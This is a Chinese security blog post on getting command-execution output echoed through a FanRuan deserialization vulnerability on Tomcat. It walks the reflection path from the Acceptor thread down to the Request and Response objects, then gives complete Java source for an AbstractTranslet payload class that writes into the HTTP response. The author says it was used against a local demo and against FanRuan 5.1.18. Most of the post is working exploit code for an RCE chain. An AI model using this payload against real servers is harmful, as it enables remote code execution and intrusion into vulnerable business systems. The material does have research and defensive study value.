帆软反序列化代码执行回显

前言

最近在学习帆软channel接口的二次反序列化绕过相关知识,再对这个漏洞进行武器化的时候,本想通过pen4uin师傅的JEG这个工具直接生成一条tomcat下可回显的命令执行利用链进行利用,但是生成的利用链在帆软FineBi 1.1.18下无法利用成功,我的找到的版本不能调试,打上断点就是灰色斜杠,不知道具体原因,加上此前也对这类回显没有过研究,借此机会,学习一下命令执行回显的艺术。

Request对象

此前对命令执行回显了解甚少,拜读各位师傅文章,了解到几种回显的方式,最优雅的方式就是去获取Request对象进行回显,获取Request对象,再通过Request对象获取Response对象,反射调用addHeader或者doWrite方法进行回显。那么回显的关键就是在tomcat中如何去找到并获取Request对象。

这里本地写了个demo,模拟帆软的反序列化漏洞点,用tomcat部署了起来,打上断点进行调试。

image-20240311154229719

主要就是线程中找到存放Request对象全局变量,不班门弄斧了,这点师傅们早已得出了结论。

idea执行表达式得功能 执行 Thread.getThreads(),获取所有线程。

image-20240311154611201

在线程名为http-nio-8081-Acceptor-0里面有一个属性名targetNioEndpoint$Acceptor对象,NioEndpoint$Acceptor对象里面存放一个属性名为this$0NioEndpoint对象,this$0里面存放一个属性名为handlerAbstractProtocol$ConnectionHandler对象,handler里面存放了一个属性globalRequestGroupInfo对象,在global里面存放了一个processorsArrayList对象,processors存放着RequestInfo对象,RequestInfo对象中存放着Request对象。

很绕,直接看图。

image-20240311160037048
1
2
3
4
5
6
7
8
Thread.getThreads()
---> Thread[10] = Thread[http-nio-8081-Acceptor-0,5,main]
---> target = NioEndpoint$Acceptor
---> this$0 = NioEndpoint
---> handler = AbstractProtocol$ConnectionHandler
---> global = RequestGroupInfo
---> processors = ArrayList
---> req = Request

通过如上的链条,一步步反射去获取最终的Request对象,然后拿到Respone对象,addHeader或者doWrite方法进行回显。

坑点

在反射获取handler属性的时候,会报错java.lang.NoSuchFieldException

image-20240311170342656

解决办法是需要从父类的父类当中获取

image-20240311170453180

最终通过代码执行获取并回显的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
package example2;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;

public class TomcatEchoDemo extends AbstractTranslet {
public TomcatEchoDemo() throws Exception {
// 拿到所有线程
// Thread[] threads = Thread.getThreads();
Object t = Thread.currentThread();
Field group = t.getClass().getSuperclass().getDeclaredField("group");
group.setAccessible(true);
Object o = group.get(t);
Field ts = o.getClass().getDeclaredField("threads");
ts.setAccessible(true);
Thread[] threads = (Thread[]) ts.get(o);

for (Thread thread:threads) {
// 获取名中 包含 http 和 Acceptor 关键字的线程
if (thread.getName().contains("http") && thread.getName().contains("Acceptor")){
// 获取target (NioEndpoint$Acceptor)
Field field = thread.getClass().getDeclaredField("target");
field.setAccessible(true);
Object obj = field.get(thread);
System.out.println(obj.getClass().getName());

// 获取 this$0 (NioEndpoint)
field = obj.getClass().getDeclaredField("this$0");
field.setAccessible(true);
obj = field.get(obj);
System.out.println(obj.getClass().getName());

// handel (AbstractProtocol$ConnectionHandler)
field = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
field.setAccessible(true);
obj = field.get(obj);
System.out.println(obj.getClass().getName());

// global (RequestGroupInfo)
field = obj.getClass().getDeclaredField("global");
field.setAccessible(true);
obj = field.get(obj);
System.out.println(obj.getClass().getName());

// 获取 processors (ArrayList)
field = obj.getClass().getDeclaredField("processors");
field.setAccessible(true);
ArrayList lists = (ArrayList) field.get(obj);
System.out.println(lists.getClass().getName());

// 获取req
for (Object obj1: lists){
Field req = obj1.getClass().getDeclaredField("req");
req.setAccessible(true);
Object request = req.get(obj1);
System.out.println(request.getClass().getName());

// 获取Response
final Object getResponse = request.getClass().getDeclaredMethod("getResponse").invoke(request, new Object[0]);
System.out.println(getResponse.getClass().getName());
// 执行doWrite
Class<?> aClass = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
Object ByteChunk = aClass.newInstance();
Method setBytes = aClass.getMethod("setBytes", byte[].class, Integer.TYPE, Integer.TYPE);
String str = "6p6p6p6p6p6p6p";
setBytes.invoke(ByteChunk, str.getBytes(StandardCharsets.UTF_8), 0 ,str.length());
getResponse.getClass().getMethod("doWrite", ByteChunk.getClass()).invoke(getResponse, ByteChunk);
}

}
}
}



@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

public static void main(String[] args) {

}
}

序列化,在demo上进行利用

image-20240311174432743

在帆软5.1.18上进行利用

image-20240311174949500